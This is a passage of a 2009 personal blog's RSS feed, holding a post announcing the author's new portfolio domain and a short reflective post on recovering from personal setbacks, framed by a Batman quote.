		<description><![CDATA[I just created a working portfolio for well – work. In order to make a bit more easy to find I brought the domain thomasstigjacobsen.dk to hold the portfolio. So please visit it and see what I’ve done. Note to the non-speaking visitors: the portfolio is in Danish right now but I’ll create some links [...]]]></description>
			<content:encoded><![CDATA[<p>I just created a working portfolio for well – work. In order to make a bit more easy to find I brought the domain <a href="http://thomasstigjacobsen.dk" target="_blank">thomasstigjacobsen.dk</a> to hold the portfolio. So please visit it and see what I’ve done.</p>
<p>Note to the non-speaking visitors: the portfolio is in Danish right now but I’ll create some links to easily view the portfolio in other languages with some help from Google Translate <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>That’s all for now, see ya folks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/11/05/new-working-portfolio-at-a-new-domain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why do we fall?</title>
		<link>http://www.e-x-e.dk/2009/10/01/why-do-we-fall/</link>
		<comments>http://www.e-x-e.dk/2009/10/01/why-do-we-fall/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 16:50:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/10/01/why-do-we-fall/</guid>
		<description><![CDATA[… so we can learn how to pick ourselves up. These were the words from the butler of the notorious young Batman when he fell into empty well and he saw his biggest fear, which would also become his enemies biggest fear. Ironic and yet very powerful. I’m no Batman and I’m not writing this [...]]]></description>
			<content:encoded><![CDATA[<p>… so we can learn how to pick ourselves up. </p>
<p>These were the words from the butler of the notorious young Batman when he fell into empty well and he saw his biggest fear, which would also become his enemies biggest fear. Ironic and yet very powerful.</p>
<p>I’m no Batman and I’m not writing this on the bottom on an empty well as a “SAVE ME”-note. I were just disappointed in myself and therefore I’m now picking myself up, yet again. This was a fall like no other and right now it hurts more than anything else I’ve ever experienced yet I’ve had a bruised body and love life in the past. </p>
<p>I know how I can pick myself up again and in a quick manner because I know what and who I truly love. Therefore I do not need to sit with my head hanging low, I can rise and yet again live strong until I again fall and then – pick myself up yet again, stronger and strong for each and every time.</p>
<p>So, why do we fall? So we can learn how to pick ourselves up.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/10/01/why-do-we-fall/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
